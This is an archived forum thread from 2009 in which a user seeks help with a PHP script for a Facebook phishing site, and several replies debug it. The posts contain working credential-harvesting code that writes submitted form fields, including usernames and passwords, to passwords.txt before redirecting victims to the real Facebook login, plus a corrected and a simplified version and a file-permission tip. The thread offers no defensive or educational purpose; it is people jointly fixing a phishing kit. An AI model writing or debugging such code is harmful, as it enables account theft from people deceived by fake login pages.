PDA

View Full Version : PHP Script Issues?



davids61
08-27-2009, 05:54 PM
Hi I'm trying a facebook phishing site and I can't seem to get the script working right... I IM'd a few people and they said it looked ok. Maybe you guys could take 3 seconds and check it out? I was thinking my host doesn't support this but I tried one vps and another web host. Here's the script:
<?php
header ('Location: http://login.facebook.com ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

iRRVi
08-27-2009, 06:26 PM
EDIT: maybe i should be more precise

maybe give us an error or something?

or uhhhhh

stop trying to phish facebook and fry some bigger phish...like uhhh...a salmon...on like, a grill or something

but eh

just my opinion

srry im in an asshole sort of mood if thats how it came out

chad
08-27-2009, 06:32 PM
did you chmod 777 passwords.txt

davids61
08-27-2009, 06:36 PM
ofcourse @chad

davids61
08-27-2009, 06:38 PM
it goes through and it writes a blank line of text on password.txt doesnt seem to be working right. after it does that it goes to facebook.com

RPC
08-27-2009, 06:45 PM
sorry you want to re-organize your code.

<?php
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);

header ('Location: http://login.facebook.com ');
exit;
?>

davids61
08-27-2009, 06:45 PM
im having a few people look over the site. if you know any php scripting please contact my aim= schwartzzilla

davids61
08-27-2009, 07:00 PM
ok seems resolved thanks to two very helpful RPC and iRRVi Thanks guys!

gus
08-27-2009, 07:23 PM
<?php
$handle = fopen("passwords.txt", "a");
fwrite($handle, "Username: ".$_POST['username']);
fwrite($handle, "\r\n");
fwrite($handle, "Password: ".$_POST['password']);
fclose($handle);
header ('Location: http://login.facebook.com ');
?>
Much better IMO, even though it's like the same.
Say thanks to chad too, bitch.

davids61
08-27-2009, 07:29 PM
i talk to him via pm. i didnt think to post it publicly